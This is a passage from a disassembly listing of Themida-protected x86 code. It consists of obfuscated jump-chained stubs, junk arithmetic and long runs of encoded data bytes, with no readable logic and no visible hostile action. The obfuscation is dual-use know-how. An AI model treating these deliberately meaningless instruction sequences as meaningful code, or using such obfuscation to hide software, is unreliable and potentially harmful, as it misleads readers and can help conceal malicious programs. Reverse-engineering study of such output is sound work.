ah, 70h add ah, 38h or ah, 65h and ah, 16h push edx mov dh, ah jmp loc_568107 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BA241489h, 5FE91474h, 8B5AD729h, 89502434h, 405E0h dd 0C0830000h, 24048704h, 2C7815Ch, 33000000h, 23E9243Ch dd 870000BBh, 0FF5C241Ch, 148B2434h, 0E1895124h, 4C181h dd 0C1830000h, 240C8704h, 4C4835Ch, 0FFB235E9h, 81F701FFh dd 751526EFh, 0D23AE96Fh, 0E3C1FFFFh, 0C4CB8104h, 817F3650h dd 0A964C1CBh, 0BCF3810Eh, 1904344h, 0EA815BDAh, 73245387h dd 0CA03E9h db 0 ; --------------------------------------------------------------------------- loc_565E3D: ; CODE XREF: Themida_:005656B1j mov bh, 0DEh mov cl, bh pop ebx push 4146h mov [esp], edx jmp loc_56F7A1 ; --------------------------------------------------------------------------- db 81h dd 19645CC2h, 0DAF75E5Ah, 4EC81h, 1C890000h, 658EBB24h dd 814B2F74h, 4F2AB1CBh, 9C75E920h, 74FF0000h, 8F5B0424h dd 305C2404h, 0E99C2404h, 0AAA4h, 0C675E95Dh, 57530000h dd 0C3815F5Bh, 73CB2C5Dh, 3A7BEA81h, 0DA2937E7h, 5933E9h dd 0E3C18100h, 817CD46Fh, 0BA5D17E9h, 0C8015D3Dh, 592434FFh dd 5704C483h, 7D62E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565EBE: ; CODE XREF: Themida_:00574066j mov esp, [esp] push 21ECh mov [esp], eax push esp pop eax push ebp sub esp, 4 mov [esp], esi push 1FAF389Ch pop esi xor esi, 180E39C4h jmp loc_571785 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 4BA5200h, 1000000h, 4875AD0h, 51555C24h, 0D05C3168h dd 0C181594Ch, 0B32FA3D3h, 0C8BCD89h, 4C48124h, 81000000h dd 6D09A7EBh, 81EB0129h, 6D09A7C3h, 242C8B29h, 0FFD668E9h dd 148B66FFh, 2C48124h, 28000000h, 44B151E8h, 72FE9h db 0 ; --------------------------------------------------------------------------- loc_565F3D: ; CODE XREF: Themida_:00562196j pop eax add al, 0C3h add al, 0B6h sub al, bh push ebx mov bh, 0FAh xor bh, 0FAh jmp loc_575244 ; --------------------------------------------------------------------------- db 0D1h dd 94F581E5h, 1573A95h, 0F7015DEFh, 6F9EEF81h, 56E95A86h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565F67: ; CODE XREF: Themida_:0056ABFDj sub ebp, 119E5F25h and eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push 35E3h mov [esp], eax mov eax, esp jmp loc_566D66 ; --------------------------------------------------------------------------- aVzl4Spq db '^VZ‹4$éPq',0 db 0 ; --------------------------------------------------------------------------- loc_565F95: ; CODE XREF: Themida_:00566438j xor edi, ebp pop ebp shl edi, 8 jmp loc_565946 ; --------------------------------------------------------------------------- dd 5E08950h, 4, 405h, 74FF5000h, 8F580424h, 248B2404h dd 0FFE83124h, 64E92434h, 8BFFFFFDh, 0C4832434h, 51B95104h dd 495B1250h, 72CC981h, 0D9F769FBh, 0FFDF47E9h db 0FFh ; --------------------------------------------------------------------------- loc_565FDD: ; CODE XREF: Themida_:00564D13j shr edx, 1 cmp eax, edx jz loc_570607 push 6149h jmp loc_56F590 ; --------------------------------------------------------------------------- db 81h, 0C5h, 58h dd 0E94E9F2Fh, 0FFFFFCD7h, 243C875Ch, 924248Bh, 0E99C2404h dd 0FFFFB036h, 4C4815Bh, 0E9000000h, 0FFFFFA37h ; --------------------------------------------------------------------------- loc_566018: ; CODE XREF: Themida_:0056C974j mov eax, 4 add [esp+4], eax jmp loc_564260 ; --------------------------------------------------------------------------- loc_566026: ; CODE XREF: Themida_:0057366Dj pop esi jmp loc_5619A9 ; --------------------------------------------------------------------------- loc_56602C: ; CODE XREF: Themida_:00567E51j add esp, 4 push 2660h jmp loc_56427E ; --------------------------------------------------------------------------- db 0BDh, 5Bh, 58h dd 85E97F7Ah, 5A0000FCh, 5C243C87h, 0E99CC885h, 0FFFFAFF2h dd 6AE94259h, 880000A9h, 58E188D4h, 0C8885053h, 91E9C388h dd 81000029h, 9D59D9CAh, 3EEA810Bh, 3153BF96h, 0EA015AD5h dd 0FFC45FE9h, 5EBC1FFh, 97FE9h db 0 ; --------------------------------------------------------------------------- loc_566085: ; CODE XREF: Themida_:0056A0BCj add esp, 4 jmp loc_569BC0 ; --------------------------------------------------------------------------- aSF db ']éÌF',0 dw 8B00h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_56F603 ; --------------------------------------------------------------------------- aXrsk db 'XRéK¶',0 db 0 ; --------------------------------------------------------------------------- loc_5660AB: ; CODE XREF: Themida_:00563CD4j sub ebx, 8EABC4h mov esi, ebx pop ebx sub ebx, 91F3E76h jmp loc_569892 ; --------------------------------------------------------------------------- db 5 dd 2D27084Bh, 4055Fh, 4330000h, 0DE924h, 0CF800001h, 690E9D9h db 1, 0 ; --------------------------------------------------------------------------- loc_5660DA: ; CODE XREF: Themida_:0056D319j mov [esp], ebx mov ebx, 61E83196h xor ebx, 75B327C1h xor edi, ebx jmp loc_574201 ; --------------------------------------------------------------------------- db 31h dd 24348BF2h, 81E68956h, 4C6h, 25FFE900h, 0E2890000h, 4C281h dd 0BD550000h, 4, 0E95DEA29h, 4B9Ah, 0EB80D9B3h, 0E9D3F64Ah dd 0E2B4h, 6D29E381h, 0C38115E6h, 3F856A85h, 7E0EEB81h dd 0F3810116h, 3F111875h, 0C611E9h, 81EF0100h, 2E20CEC7h dd 242C8B58h, 4C481h, 0D7310000h, 0D731FA31h, 0ACCDE9h dd 0E3B000h, 0EC8358C3h, 4896602h, 0B03BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56616E: ; CODE XREF: Themida_:005658E8j mov ebx, 93927D3h sub esp, 4 mov [esp], ebp jmp loc_571006 ; --------------------------------------------------------------------------- db 0B3h, 4Ch, 83h dd 1C8904ECh, 88D0B324h, 0D8005BD8h, 83241C8Bh, 0C73004C4h dd 0E0895058h, 405h, 2BE5600h, 29000000h, 4875EF0h, 89665C24h dd 0B3532404h, 0DD8851A2h, 0CE90E9h, 4EC8300h, 81242489h dd 42404h, 3C8B0000h, 60EF6824h, 2C890000h, 68E58924h dd 155Eh, 0AFA0E9h, 0E236800h, 2C890000h, 0A9685124h, 89000034h dd 0B2BB241Ch, 8904F30Eh, 0BD555BD9h, 4E0E6C13h, 0A791C581h dd 0E9312CE5h, 0CF92E95Dh, 0E281FFFFh, 6AC92F1Fh, 2C0DEA81h dd 0D5892A49h, 0D443E95Ah, 0D9F7FFFFh, 1F53F181h, 0C1815F98h dd 5B5529F8h, 0E981D9F7h, 768D417Eh, 4117C181h, 0CB89CDB9h dd 0BC685359h, 0E9572636h, 0B386h, 0EC81CF01h, 4, 51241489h dd 28C16852h, 0F75A2AE5h, 0B23AE9DAh, 0DE01FFFFh, 23C5E9h dd 7802BD00h, 0D5F7355Ch, 21FFE951h, 0E6880000h, 0EEC18058h dd 81E9F100h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_566287: ; CODE XREF: Themida_:00563B14j mov eax, 416D6868h sub [esp+4], eax push dword ptr [esp] pop eax jmp loc_568B5A ; --------------------------------------------------------------------------- loc_566299: ; CODE XREF: Themida_:00568955j pop edx not esi shl esi, 4 push eax push 1D172F54h pop eax push 680Bh mov [esp], ecx mov ecx, 2D0F0474h xchg eax, ecx push 327h mov [esp], eax xchg ecx, [esp] not ecx jmp loc_56AFD8 ; --------------------------------------------------------------------------- dw 0C483h dd 8BC30104h, 1C682404h, 8900000Ch, 5F54243Ch, 0FFC50CE9h dd 81D1F7FFh, 0ACA4A1C1h, 59CE0912h, 5C1D6857h, 815F70F4h dd 5212D2C6h, 81FE290Fh, 5212D2EEh, 81465F0Fh, 56B824C6h dd 0DEB8E919h, 815FFFFFh, 4C4h, 4E88300h, 0E9240487h, 0FFFFDE09h dd 42474FFh, 24048F5Ah, 707E9h db 0 ; --------------------------------------------------------------------------- loc_566329: ; CODE XREF: Themida_:0056BF3Cj mov cl, dl jmp loc_561561 ; --------------------------------------------------------------------------- loc_566330: ; CODE XREF: Themida_:0056810Bj mov edx, [esp] add esp, 4 jmp loc_572553 ; --------------------------------------------------------------------------- db 87h dd 895C2414h, 5D54242Ch, 0FFF6EFE9h, 2474FFFFh, 3EAE904h dd 0A2680000h, 5D4C1E03h, 0B63F581h, 0EBE92D83h, 5FFFFD9h dd 75EC1034h, 5ACBE9h db 0 ; --------------------------------------------------------------------------- loc_56636D: ; CODE XREF: Themida_:0056B205j mov [esp], ecx mov cl, 0F0h mov bh, cl pop ecx jmp loc_56FC41 ; --------------------------------------------------------------------------- dw 515Ch dd 677B5CB9h, 0F4B8E961h, 74FF0000h, 0C8B0424h, 0A2A6E924h dd 34FF0000h, 3FCCE924h, 0BD2D0000h, 130FC04h, 4BD05C8h dd 835930FCh, 48704C0h, 0D420E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5663B2: ; CODE XREF: Themida_:00561459j push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] pop esp push 2668h mov [esp], edx push ecx mov ecx, 1F21839h dec ecx jmp loc_57437B ; --------------------------------------------------------------------------- dw 0E981h dd 7382F9FCh, 22E95851h, 33000036h, 248B240Ch, 0B60F6624h dd 0EC8353C8h, 242C8904h, 0BF51E9h db 0 ; --------------------------------------------------------------------------- loc_5663F9: ; CODE XREF: Themida_:00563E6Aj mov [edi+28h], ch jmp loc_56E9B3 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6658669Dh, 9C240419h, 0FFAC31E9h db 0FFh ; --------------------------------------------------------------------------- loc_566411: ; CODE XREF: Themida_:005623D2j mov edx, [esp] add esp, 4 jmp loc_56FA51 ; --------------------------------------------------------------------------- loc_56641F: ; CODE XREF: Themida_:0056F0BCj mov esi, [esp] add esp, 4 dec edi push ebp mov ebp, 6994890h sub ebp, 1 sub ebp, 0FD5D1FB6h jmp loc_565F95 ; --------------------------------------------------------------------------- loc_56643D: ; CODE XREF: Themida_:0056DE4Cj add esi, 4 jmp loc_56FC35 ; --------------------------------------------------------------------------- dd 0E3E9815Dh, 17CD46Fh, 0FA4BE9E9h, 0C481FFFFh, 4, 0F828AB2Ch dd 0B3535266h, 30B0B61Bh, 0A1B8E9DEh, 0E3890000h, 4C381h dd 0C3810000h, 4, 0E9241C87h, 0A385h, 104C483h, 24148BD3h dd 8904EC83h, 8B542414h, 0C4812414h, 4, 0B842E9h, 0E3895300h dd 4C381h, 0C2680000h, 8900007Dh, 4BD242Ch, 81000000h dd 6501BDC3h, 81EB0108h, 6501BDEBh, 242C8B08h, 4C481h dd 1C330000h, 52EDE924h, 0E1C00000h, 0A6E18004h, 0F4AAE950h dd 5651FFFFh, 0C5AE9h, 0DFB25200h, 5CE9D388h, 89FFFFF0h dd 0E6892434h, 0A721E9h db 0 ; --------------------------------------------------------------------------- loc_5664FD: ; CODE XREF: Themida_:00568F7Fj mov [esp], ebx push dword ptr [esp] pop eax push ecx push esp mov ecx, [esp] jmp loc_561906 ; --------------------------------------------------------------------------- loc_56650E: ; CODE XREF: Themida_:0056F4E2j sub esi, 2B921057h xor edi, esi pop esi sub ebp, 750038D4h add ebp, edi add ebp, 750038D4h jmp loc_56F009 ; --------------------------------------------------------------------------- dw 0C380h dd 5BD8089Ah, 0C02E0C0h, 7B252C1h, 9AE9D2F6h, 8100007Eh dd 0DC04246Ch, 0E934ED0Ah, 0A63Ch, 4C481h, 0EA810000h dd 6EDD2627h, 6468B951h, 0E98149B4h, 7A3F15D9h, 5B54C981h dd 0C181659Fh, 2BF50F6Dh, 0C8BCA29h, 0E0895024h, 405h dd 4C08300h, 0E9240487h, 0C2E6h, 1510CA81h, 0C28171C8h dd 0A01264h, 148BD529h, 9E9FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56659E: ; CODE XREF: Themida_:00571F37j mov ecx, 78F6267Ah jmp loc_574ACC ; --------------------------------------------------------------------------- dd 8104C483h, 4ECh, 243C8900h, 51643BBFh, 0C9C78134h, 81CBAE9Bh dd 812774C5h, 81FD0102h, 812774EDh, 0EC815F02h, 4, 0E9243C89h dd 0FFFFB80Ah ; --------------------------------------------------------------------------- loc_5665DC: ; CODE XREF: Themida_:005735F1j add [esp+4], ebx pop ebx pop edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_568D0E ; --------------------------------------------------------------------------- loc_5665F6: ; CODE XREF: Themida_:00565927j add ebx, edi pop edi sub ebx, eax jmp loc_5719CF ; --------------------------------------------------------------------------- loc_566600: ; CODE XREF: Themida_:00561DE1j xchg edi, [esp] pop esp mov edx, [esp] add esp, 4 push ecx push 606Ah jmp loc_569381 ; --------------------------------------------------------------------------- dd 1C18341h, 0B610E9h, 4EC8100h, 89000000h, 3768242Ch dd 5D308952h, 25C6C581h, 0E989DCC7h, 0FC7BE9h, 0DF296600h dd 0D5E95B66h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_566647: ; CODE XREF: Themida_:005648FBj push ebp push eax push 6F7710D7h pop eax inc eax sub eax, 1FB1EF52h mov ebp, eax pop eax shl ebp, 2 neg ebp dec ebp add ebp, 0AD5991D6h mov ecx, ebp pop ebp jmp loc_56C11F ; --------------------------------------------------------------------------- dd 0B753C9FEh, 5BF900C2h, 2C59C828h, 0EB62E986h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56667E: ; CODE XREF: Themida_:0056C797j movzx cx, al push cx pushf jmp loc_561042 ; --------------------------------------------------------------------------- dw 8158h dd 4E04246Ch, 167656Dh, 0E9042474h, 8452h, 0C382EB81h dd 0DF01C15Ch, 5BB535Bh, 0E9168E25h, 0FFFFEFA5h, 3021BB53h dd 0EBC14341h, 3E3C106h, 14BDF381h, 97E92616h db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5666C7: ; CODE XREF: Themida_:0056CA78j add ebp, 4 xchg ebp, [esp] pop esp xchg ebx, [esp] pop esp dec word ptr [esp] pushf jmp loc_561042 ; --------------------------------------------------------------------------- dd 0FF36E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5666E2: ; CODE XREF: Themida_:0056AAF5j xor [esp], ecx xor ecx, [esp] xor [esp], ecx push ecx jmp loc_56C1AC ; --------------------------------------------------------------------------- db 50h, 0B8h, 0F2h dd 0C1613E65h, 35E902E8h, 89000037h, 7DBA2414h, 5278FD53h dd 0F7241487h, 7DE952D2h, 810000C4h, 0AC4E44E1h, 0A4C9814Dh dd 5617437Dh, 690FC0BEh, 5EF12975h, 31B0F181h, 70E9E4DDh dd 66FFFFACh, 0E9240C8Bh, 1DDAh, 24048F5Bh, 6624248Bh dd 9C2404D3h, 0FFA8F5E9h, 0D1D2F7FFh, 85F281EAh, 894A3840h dd 0CE015AD1h, 9FE95159h, 66FFFFEFh, 0E924048Bh, 0D45Eh dd 0EE81D601h, 58153E20h, 8324148Bh, 90E904C4h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56677F: ; CODE XREF: Themida_:0056247Cj push edx pop ecx mov edx, [esp] jmp loc_56AF5E ; --------------------------------------------------------------------------- db 50h, 0E9h, 0FFh dd 0FFFFFFEBh, 37E92434h db 0BBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_566797: ; CODE XREF: Themida_:0056AFDCj xchg eax, ecx sub ecx, 0FFFFFFFFh push edx mov edx, 9CB709E1h jmp loc_569CEC ; --------------------------------------------------------------------------- loc_5667A9: ; CODE XREF: Themida_:00569CCBj pop eax push ebp jmp loc_562EC1 ; --------------------------------------------------------------------------- dd 1474C781h, 0C4685FE9h, 89000050h, 0D1BD242Ch, 813CEC0Dh dd 0D66933E5h, 0ED814D49h, 3A4C3267h, 59A4ED81h, 74E94799h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5667DB: ; CODE XREF: Themida_:0056E53Bj mov edx, 0D581AD2h add ebx, edx pop edx push edx mov edx, 52C1A84h push ecx mov ecx, 6D3304B6h add ebx, ecx jmp loc_574FFD ; --------------------------------------------------------------------------- loc_5667F6: ; CODE XREF: Themida_:00572AEDj xchg ebp, [esp] pop esp jmp loc_572E30 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4BE5600h, 81000000h, 102091C3h, 81F30158h, 102091EBh dd 24348B58h, 93F3E9h, 5BDD3100h, 75A68h, 242C8900h, 10243481h dd 59547039h, 3910F181h, 0E95D5470h, 381Dh, 0D5793105h dd 0F5685E0Ch, 8900004Ah, 0CDE9242Ch, 0FFFFC6h, 241C8BF8h dd 0E9E28952h, 0D0Ch, 0A4B9515Ah, 417E2868h, 68A3E981h dd 48E97E28h, 66000059h, 163CE953h, 81BB0000h, 0D13EC03Ah dd 0FFC381EBh, 0F7FFFFFFh, 228368DBh, 0C890000h, 0BA525624h dd 52C0059Ah, 0FFEA1EE9h, 4CE95FFFh, 0BB000001h, 46B76ECCh dd 99E9DF89h, 0C1000092h, 4DE908EBh db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5668B7: ; CODE XREF: Themida_:0056ECB3j sub esi, 5DEA26ECh sub esi, 0BABE041Ch sub ecx, esi pop esi add ecx, eax add ecx, 1D8E6744h jmp loc_56E4C1 ; --------------------------------------------------------------------------- loc_5668D3: ; CODE XREF: Themida_:005716BDj push dword ptr [esp] pop eax jmp loc_562455 ; --------------------------------------------------------------------------- dd 8B243C87h, 0C892424h, 5EE95424h, 5EFFFFEFh, 0F6242C81h dd 0E92CC51Eh, 9A96h, 24048B5Bh, 381EE9h db 0 ; --------------------------------------------------------------------------- loc_566901: ; CODE XREF: Themida_:0056E928j pop edx xchg esi, [esp] mov esp, [esp] add esp, 4 push 21B5h mov [esp], eax jmp loc_561042 ; --------------------------------------------------------------------------- loc_56691B: ; CODE XREF: Themida_:00572CBCj push eax jmp loc_56E94C ; --------------------------------------------------------------------------- aAxnsS db '€åNé"s',0 db 0 ; --------------------------------------------------------------------------- loc_566929: ; CODE XREF: Themida_:00571889j mov ecx, 3B894E56h push edi mov edi, 5C760F41h and edi, 46E842C8h add edi, 0D7B280Bh add edi, 7E58127Bh sub ecx, 3A1003F6h sub ecx, edi add ecx, 3A1003F6h mov edi, [esp] add esp, 4 not ecx jmp loc_56BDBC ; --------------------------------------------------------------------------- dd 241C8B66h, 8302C483h, 20E904ECh db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566973: ; CODE XREF: Themida_:00562711j add eax, 4 jmp loc_57542B ; --------------------------------------------------------------------------- db 52h, 51h, 68h dd 510E6BD4h, 13C0E9h db 0 ; --------------------------------------------------------------------------- loc_566989: ; CODE XREF: Themida_:005734F0j add [esp], eax push esi mov esi, 60ED0F6Eh add [esp+4], esi jmp loc_574BAC ; --------------------------------------------------------------------------- aVsjw db 'Vé†w',0 dd 44E95A00h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5669A7: ; CODE XREF: Themida_:0056AF6Fj mov ebp, 2A0B790Eh xor ecx, ebp mov ebp, [esp] add esp, 4 and edi, ecx mov ecx, [esp] add esp, 4 shr edi, 2 or edi, 77F05345h jmp loc_56968C ; --------------------------------------------------------------------------- loc_5669CD: ; CODE XREF: Themida_:00567411j push esi jmp loc_572D6C ; --------------------------------------------------------------------------- db 8Fh dd 835C2404h, 148904ECh, 4271BA24h, 0D0290711h, 8324148Bh dd 0BE904C4h, 33000041h, 1C31241Ch, 241C3324h, 0FE24248Bh dd 0E99C2404h, 0FFFFA63Eh, 8104EBC1h, 7CEFCEC3h, 5BDA291Bh dd 15AD589h, 242C8BEBh, 4C481h, 7CE90000h, 810000FEh, 432A2BC1h dd 0E9F10132h, 0FFFFBEEBh, 1487D2F7h, 3581E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566A3A: ; CODE XREF: Themida_:00562515j shr esi, 7 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax jmp loc_56887B ; --------------------------------------------------------------------------- loc_566A55: ; CODE XREF: Themida_:005698D2j xor esi, 47AE321Dh sub ebp, esi jmp loc_56FA5C ; --------------------------------------------------------------------------- dw 0C281h dd 4, 417DE9h, 242C8900h, 4BDh, 40F4E900h, 4680000h, 5A000000h dd 34FFD601h, 0C4815A24h, 4, 8B243487h, 48F2424h, 0D3665C24h dd 0E99C240Ch, 0FFFFA5A2h, 0E9243C8Bh, 0FFFFFAA4h, 8B240C87h dd 0FBE92424h, 0BA0000CEh, 7B8E0046h, 8C8FE9h, 14875C00h dd 24248B24h, 9CC88566h, 0FFA575E9h, 0EA815FFFh, 26511EA4h dd 0C281CA01h, 26511EA4h, 667AE9h db 0 ; --------------------------------------------------------------------------- loc_566AE1: ; CODE XREF: Themida_:0056C5A5j pop ebp add edi, 0E7BFBBF0h add ecx, edi pop edi jmp loc_572B55 ; --------------------------------------------------------------------------- loc_566AF0: ; CODE XREF: Themida_:005707A5j mov edi, 2CD6C75h add edi, 165E9E1Ch or edx, edi jmp loc_56B76A ; --------------------------------------------------------------------------- dw 0C581h dd 9C23C4FDh, 8C35E9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edi mov edi, 5F620748h add edi, 367A6393h jmp loc_56AD7E ; --------------------------------------------------------------------------- db 50h, 0B8h, 0D5h dd 29790759h, 3C8B58C2h, 4C48124h, 33000000h, 14312414h dd 2097E924h, 0E95C0000h, 57CAh, 5866E388h, 0FEADB551h dd 0E9CDFEC5h, 0FFFFECA5h ; --------------------------------------------------------------------------- loc_566B6C: ; CODE XREF: Themida_:0056D418j sub edx, 3DBE4A5Ch jmp loc_56EE7D ; --------------------------------------------------------------------------- db 66h dd 0E924248Bh, 0FFFFA4C2h ; --------------------------------------------------------------------------- loc_566B80: ; CODE XREF: Themida_:00568474j push 4C7C79A3h pop ebp not ebp sub ebp, 74BE5F92h jmp loc_563E03 ; --------------------------------------------------------------------------- aZSD db '‡,$é#¤',0 dw 400h dd 2434FF08h, 0E9241C8Bh, 0A3FAh ; --------------------------------------------------------------------------- loc_566BA8: ; CODE XREF: Themida_:005619A4j mov edi, 3802654Bh or edi, 52E81891h jmp loc_564030 ; --------------------------------------------------------------------------- dd 565DEF01h, 3961B951h, 0E1C11EA3h, 495EE905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566BCA: ; CODE XREF: Themida_:0056E257j xchg ebx, edx xchg edx, [esp] mov ebp, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_56FF86 ; --------------------------------------------------------------------------- dw 34FFh aSos db '$éoè',0 align 2 loc_566BEA: ; CODE XREF: Themida_:00563BBBj pop ebx add esp, 4 push 7714h jmp loc_568029 ; --------------------------------------------------------------------------- db 58h dd 83243C8Bh, 0C78104C4h, 4, 2B850h, 0C7810000h, 57DD126Fh dd 4A55E9h, 1C896600h, 6AB55124h, 0E96DB652h, 0F859h, 0F3BA525Ah dd 2112384Eh, 4C2D5AD0h, 0E9002044h, 81A2h, 0C281E289h dd 4, 0FFE695E9h, 0E5C780FFh, 0C780CFFEh, 0DB2EE976h, 0C2290000h dd 8124048Bh, 4C4h, 0E9D30100h, 0FFFFDDFFh, 24048B66h dd 5E545653h, 4C681h, 0EE810000h, 4, 8B243487h, 8F542424h dd 4832404h, 0EAE90424h, 8900005Bh, 24048BC3h, 104C483h dd 241C8BD9h, 4C481h, 0CE890000h, 9ABFE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566CAA: ; CODE XREF: Themida_:00561FAEj and ebp, 29776F41h xor ebp, 1134105h sub ebx, ebp jmp loc_571541 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 51h dd 31000006h, 32E9241Ch, 57000037h, 0FFE856E9h db 0FFh ; --------------------------------------------------------------------------- loc_566CD1: ; CODE XREF: Themida_:0056F004j add edx, 228929C6h mov ecx, edx pop edx jmp loc_567410 ; --------------------------------------------------------------------------- db 0BDh dd 3CAF7376h, 1CDCF581h, 0B8507B7Dh, 1D6B7737h, 7E223548h dd 160D1F80h, 0E969DC0Bh, 948Fh ; --------------------------------------------------------------------------- loc_566D00: ; CODE XREF: Themida_:005729A3j mov ebx, 0 jmp loc_56EEC4 ; --------------------------------------------------------------------------- loc_566D0A: ; CODE XREF: Themida_:005696D8j pop ebx sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_56DFD7 ; --------------------------------------------------------------------------- db 89h dd 16BE2434h, 567E071Dh, 0A8242C81h, 0E95E7D61h, 0C96Bh dd 0EF80EF86h, 0D9EAE9B6h, 0EC81FFFFh, 4, 6AA0E9h db 0 ; --------------------------------------------------------------------------- loc_566D41: ; CODE XREF: Themida_:0057375Bj mov ebp, edi push ebp sub dword ptr [esp], 50C03F4h pop esi add esi, 50C03F4h pop ebp mov edi, [esp] add esp, 4 and eax, esi push dword ptr [esp] jmp loc_56BED4 ; --------------------------------------------------------------------------- loc_566D66: ; CODE XREF: Themida_:00565F85j add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_571E6E ; --------------------------------------------------------------------------- dd 5966C800h, 5B2434FFh, 5304C483h, 0FFC349E9h db 0FFh ; --------------------------------------------------------------------------- loc_566D8D: ; CODE XREF: Themida_:0056D5D9j push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push 43CCh mov [esp], edx push 1D64h mov [esp], edx mov edx, esp add edx, 4 jmp loc_56462E ; --------------------------------------------------------------------------- dw 83ADh dd 0F00207Fh, 0A1B584h, 4EC8100h, 89000000h, 0EC83242Ch dd 241C8904h, 0BD1551BBh, 0B5D7E910h, 0EC830000h, 5E42E902h dd 0E95A0000h, 95F5h, 4EC8357h, 0BD242C89h, 0DB15434h dd 0E11CB8BFh, 0CEEF810Ah, 0E9582E20h, 0FFFFF335h, 0E9243489h dd 2DAh, 27C4EE81h, 0BF572104h, 754C5757h, 3C8BFE29h, 4C48324h dd 88B1E958h, 895C0000h, 0E789243Ch, 65F468h, 240C8900h dd 0C83F3568h, 0F896E920h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566E46: ; CODE XREF: Themida_:00569CE1j add esp, 4 shr ecx, 7 jmp loc_56289E ; --------------------------------------------------------------------------- dd 4EC8150h, 89000000h, 0DFE9242Ch db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_566E63: ; CODE XREF: Themida_:005688ACj sub ecx, 442A7A81h shl ecx, 1 push ebx jmp loc_576A92 ; --------------------------------------------------------------------------- loc_566E71: ; CODE XREF: Themida_:005764A1j pop ebx pop eax push ebx mov bh, 0F0h xor cl, bh jmp loc_5646FC ; --------------------------------------------------------------------------- loc_566E7D: ; CODE XREF: Themida_:0056404Cj push ebx jmp loc_5735EC ; --------------------------------------------------------------------------- aMhC db '¬hœc',0 dd 24148900h, 0B15150B2h, 0E9C828C2h, 9838h ; --------------------------------------------------------------------------- loc_566E98: ; CODE XREF: Themida_:00574FE1j push 4F7Dh jmp loc_564049 ; --------------------------------------------------------------------------- loc_566EA2: ; CODE XREF: Themida_:0056FA28j sub dword ptr [esp], 5A094CCAh pop eax add eax, 5A094CCAh jmp loc_572BCB ; --------------------------------------------------------------------------- dd 0E902EC83h, 0FFFFFD5Dh, 2B0F1C2Dh, 0E9F8013Dh, 0FFFFA728h dd 8924248Bh, 74FF240Ch, 34FF0424h, 240C8B24h, 4C481h dd 0C4810000h, 4, 8B24048Fh, 4312424h, 0A150E924h, 2C89FFFFh dd 4BD24h, 0D0E90000h, 0B7000001h, 58E730AAh, 5176CF80h dd 0F1807AB1h, 0E9CF006Bh, 0FFFFBCD3h, 0FFA129E9h db 0FFh ; --------------------------------------------------------------------------- loc_566F19: ; CODE XREF: Themida_:00561DB1j push 3CE7h jmp loc_56C26C ; --------------------------------------------------------------------------- db 81h dd 0A7C26C6h, 5EF2014Bh, 0AE6B951h, 7DE9264Ah, 8B00003Ch dd 0C4812414h, 4, 3107E6C1h, 0D868E9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566F4A: ; CODE XREF: Themida_:00565B2Cj xor ebx, [esp] jmp loc_565055 ; --------------------------------------------------------------------------- loc_566F52: ; CODE XREF: Themida_:005627D6j mov edi, 77E72653h add edi, 3B991387h push 0 sub [esp], edi pop edi xor edi, 6463FED1h xor ecx, edi pop edi sub eax, 2C825F9Fh push ebp mov ebp, 8E7781Bh add eax, ebp mov ebp, [esp] jmp loc_561793 ; --------------------------------------------------------------------------- dd 4C4835Ah, 0FFF013E9h, 34FF5CFFh, 7D62E924h, 0C1290000h dd 74FF5158h, 0BAE90424h, 89FFFFCEh, 4C181E1h, 50000000h dd 4B8h, 0FFE0E900h, 0EC83FFFFh, 4896602h, 4EC8124h, 89000000h dd 82B22414h, 0D42808B4h, 66E1005Ah, 0B4505258h, 0F2A0E99Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566FDA: ; CODE XREF: Themida_:00561796j add eax, ecx jmp loc_56C855 ; --------------------------------------------------------------------------- loc_566FE1: ; CODE XREF: Themida_:005650ECj xor esi, [esp] pop esp add dword ptr [esp+4], 462C71B5h sub dword ptr [esp+4], 5597699Dh add [esp+4], ebx add dword ptr [esp+4], 5597699Dh jmp loc_5672E2 ; --------------------------------------------------------------------------- dw 0C87h dd 0C895C24h, 53E18924h, 0E8C4E9h, 24148700h, 4EC815Ch dd 0E9000000h, 72D4h, 8005E6C0h, 0F3288EEEh, 0E2E1E9h dd 241C8B00h ; 